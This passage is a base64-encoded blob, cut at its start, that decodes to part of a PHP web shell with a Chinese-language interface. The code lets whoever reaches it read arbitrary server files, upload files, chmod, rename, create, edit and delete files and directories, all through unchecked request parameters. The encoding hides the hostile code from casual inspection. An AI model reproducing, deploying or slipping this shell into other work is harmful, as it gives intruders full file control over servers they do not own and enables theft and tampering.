iAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldB